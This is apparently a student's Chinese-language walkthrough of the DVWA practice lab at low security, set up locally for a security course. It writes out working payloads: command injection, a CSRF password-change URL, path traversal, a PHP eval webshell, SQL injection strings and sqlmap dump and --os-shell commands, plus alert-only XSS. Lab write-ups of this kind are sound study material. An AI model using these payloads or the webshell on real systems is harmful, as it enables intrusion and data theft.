1 背景
这次作用网安老师要求我们把DVWA的题目做出来,啥也不说了,早做完早学到手,come on
2 phpstudy和DVWA的安装
我这里参考了下面这篇文章来安装上面phpstudy和DVWA。
https://www.jb51.net/article/160378.htm
注意事项
- 在D盘下找个地方安装phpstudy,但是安装目录不能有中文和空格,不然后面即使安装完成后Apache启动时会报错AH00526。
- 在D盘中安装phpstudy中的WWW目录下解压DVWA,并修改WWW\DVWA-master\config下面的config.inc.php.dist文件,将其中数据库密码修改为root,文件后缀名改为.php。
3 题目及解题思路
3.1 Brute Force
3.1.1 源码如下
1 | <?php |
3.1.2 发现Username的那一项需要为admin,然后就将123作为输入的密码,同时打开专业版burpsuite进行抓包,然后点击Login,获得如下信息。

3.1.3 然后再发向Intruder,加载字典,利用sniper爆破即可得到密码

3.1.4 用上面得到的密码登录

3.2 Command Injection
3.2.1 源码如下
1 | <?php |
3.2.2 典型的命令注入型错误,首先用 127.0.0.1&&dir 来进行测试,可以发现所有的目录

3.2.3 然后用 127.0.0.1&&help 来进行测试,可以发现所有的命令提示

3.2.4 接着用 127.0.0.1&&index.php 来查看当前主页面的php文件配置

3.3 CSRF
3.3.1 源码如下
1 | <?php |
3.3.2 利用Web应用程序在当前经过身份验证的Web应用程序上执行不需要的操作,下面是我输入两次123并用burpsuite抓包后的部分url

3.3.3 然后在地址栏的url后面添加下面字符,密码就会被修改为ikun
1 | ?password_new=ikun&password_conf=ikun&Change=Change# |

3.4 File Inclusion
3.4.1 源码如下
1 | <?php |
3.4.2 将page后面的参数修改为file1.php,可以获得file1.php中的内容

3.4.3 将page后面的参数修改为file2.php,可以获得file2.php中的内容

3.4.4 将page后面的参数修改为file3.php,可以获得file2.php中的内容

3.4.5 将page后面的参数修改为../../php.ini,可以获得php.ini中的内容


3.4.6 将page后面的参数修改为../../phpinfo.ini,可以获得phpinfo.ini中的内容


3.5 File Upload
3.5.1 源码如下
1 | <?php |
3.5.2 上传一句话木马来获取网站的部分或全部权限
1 | <?php @eval($_POST['shell']);?> |

3.5.3 打开中国菜刀,右键添加,地址栏填入上传文件所在路径,参数名(一句话木马口令)为shell
http://localhost/dvwa/hackable/uploads/hackWeb.php

3.5.4 然后菜刀就会通过向服务器发送包含shell参数的post请求,在服务器上执行任意命令,获取webshell权限,可以下载、修改服务器的所有文件。

3.5.5 打开服务器的虚拟终端

3.6 SQL Injection
3.6.1 源码如下
1 | <?php |
方法一:直接输入命令注入
3.6.2 先随便输入一下常用ID,结果发现1、2、3、4、5均有回显值,输入错误的不回显


3.6.3 输入
1 | 1 'or' 1 '=' 1 |
查看回显效果,遍历出了数据库中所有的内容

3.6.4 获取数据库版本、数据库名称,命令如下
1 | 1' union select version(),database()# |

3.6.5 获取数据库中的表,命令为如下
1 | 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# |

3.6.6 获取获取表中的字段名,命令为如下
1 | 1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'# |

3.6.7 获得字段中的数据,命令如下
1 | 1' union select user,password from users# |

方法二:利用sqlmap注入
3.6.8 首先查看网页是否存在漏洞和系统信息,命令如下
1 | sqlmap -u 'http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie 'security=low;PHPSESSID=e5ei2qec43956rm0tjgea039pd' |

发现了后台数据库为MySQL,Web服务器的操作系统是Linux Debian,Web应用技术是Apache 2.4.41, 脚本语言是PHP,后台数据库版本MySQL >= 5.0
3.6.9 然后从服务器中获得所有的数据库,命令如下
1 | sqlmap -u 'http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie 'security=low;PHPSESSID=e5ei2qec43956rm0tjgea039pd' --dbs |

发现了所有的数据库dvwa和information_schema
3.6.10 接着判断当前正在应用程序连接的哪个数据库,命令如下
1 | sqlmap -u 'http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie 'security=low;PHPSESSID=e5ei2qec43956rm0tjgea039pd' --current-db |

发现应用程序连接dvwa这个数据库
3.6.11 下一步获得数据库中的表,命令如下
1 | sqlmap -u 'http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie 'security=low;PHPSESSID=e5ei2qec43956rm0tjgea039pd' -D dvwa --tables |

发现数据库中含有guestbook和users这两个表
3.6.12 最后,再获取users表中的字段,命令如下
1 | sqlmap -u 'http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie 'security=low;PHPSESSID=e5ei2qec43956rm0tjgea039pd' -D dvwa -T users --columns |
3.6.13 最后,获取字段的信息,命令如下
1 | sqlmap -u 'http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie 'security=low;PHPSESSID=e5ei2qec43956rm0tjgea039pd' -D dvwa -T users -C user,password --dump |

3.6.14 sqlmap命令详解
| 命令行参数 | 说明 |
|---|---|
| -u | 指定测试的URL地址(加单引号) |
| –cookie | 指定cookie的值(加单引号) |
| –dbs | 获取数据库信息 |
| –current-db | 获取当前应用程序连接的数据库 |
| -D | 指定数据库 |
| –tables | 获取数据库表的信息,一般结合-D参数获取指定数据库的表 |
| -T | 指定数据库表 |
| –columns | 获取表字段的信息,一般结合-T参数获取指定表的字段名 |
| -C | 指定数据库表的列 |
| -dump | 转存数据库数据,可结合-D、-T、-C参数获取指定指定数据 |
| -privileges | 测试用户权限,–privileges -U -sa测试sa用户权限 |
| –os-cmd=”net user” | 执行net user命令 |
| –os-shell | 获取系统交互shell |


3.7 SQL Injection (Blind)
3.7.1 源码如下
1 | <?php |
3.7.2 从源码可知参数id没有做任何检查、过滤,存在明显的SQL注入漏洞,查询结果只有
“User ID exists in the database.” 和 “User ID is MISSING from the database.”
进而判断是否存在注入,是字符型还是数字型,输入1,查看回显结果。

判断通过输入下面代码判断出是存在字符型注入
1 | 1’ and 1 = 1# |


3.7.3 判断数据库名的长度,最终判断出数据库名长度为4命令如下
1 | 1' and length(database())=1# |


3.7.4 判断数据库的4个字母,命令如下
1 | 1' and ascii(substr(database(),1,1))>97# |

1 | 1' and ascii(substr(database(),1,1))<122# |

1 | 1' and ascii(substr(database(),1,1))<110# |

1 | 1' and ascii(substr(database(),1,1))<104# |

1 | 1' and ascii(substr(database(),1,1))<100# |

1 | 1' and ascii(substr(database(),1,1))>100# |

1 | 1' and ascii(substr(database(),1,1))=100# |

从而判断出数据库名的首字母为d,利用上面的二分法可以判断出数据库名为dvwa
3.8 Weak Session IDs
3.8.1 源码如下
1 | <?php |
3.8.2 每当点击一次Generate,dvwaSession就加1

再点击一次后,dvwaSession就变为19

3.8.3 如果用户 SESSION中的 last_session_id 不存在就设为 0,如果dvwaSession存在就加一,这样肯定会造成session不是唯一,引发冲突

3.9 XSS (DOM)
3.9.1 源码如下
1 | <?php |
3.9.2 在url后添加下面内容后即可触发XSS攻击
1 | <script>alert('XSS');</script> |

3.10 XSS (Reflected)
3.10.1 源码如下
1 | <?php |
3.10.2 在文本输入框中输入下面内容后即可触发XSS攻击
1 | <script>alert('我攻击成功了');</script> |

3.11 XSS (Stored)
3.11.1 源码如下
1 | <?php |
3.11.2 在文本输入框中,Name栏输入CUMT,Message栏输入下面内容可以触发攻击
1 | <script>alert(‘只要够认真,老师给高分’)</script> |

然后,我在google浏览器中点击XSS (Stored),就会出现我在火狐浏览中已经添加的脚本的现象

3.12 CSP Bypass
3.12.1 源码如下
1 | <?php |
3.12.2 上pastebin网站上自己写一个javascript代码输入下面代码并复制链接,将其填入文本框即可实现目的
1 | <script>alert(‘happy every day’)</script> |
3.13 JavaScript
3.13.1 源码如下
1 | <?php |
3.13.2 按F12看源码发现了md5加密后的token

3.13.3 发现产生token的函数

3.13.4 在输入框输入success,在console输入generate_token()并回车


4 总结
经过这次搭建渗透环境并自主渗透的过程,我对Web安全有了更深的了解,下一步就要把medium、high和impossible级别的题目做一下,以加强学习。
5 特别致谢
本文在参考下面各位大佬的经验而得到的部分wp,谢谢各位朋友
https://www.cnblogs.com/jojo-feed/p/10206443.html
https://blog.csdn.net/weixin_45038413/article/details/90045210
https://www.bilibili.com/video/av66653656/?p=10
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达,可以邮件至 xingshuaikun@163.com。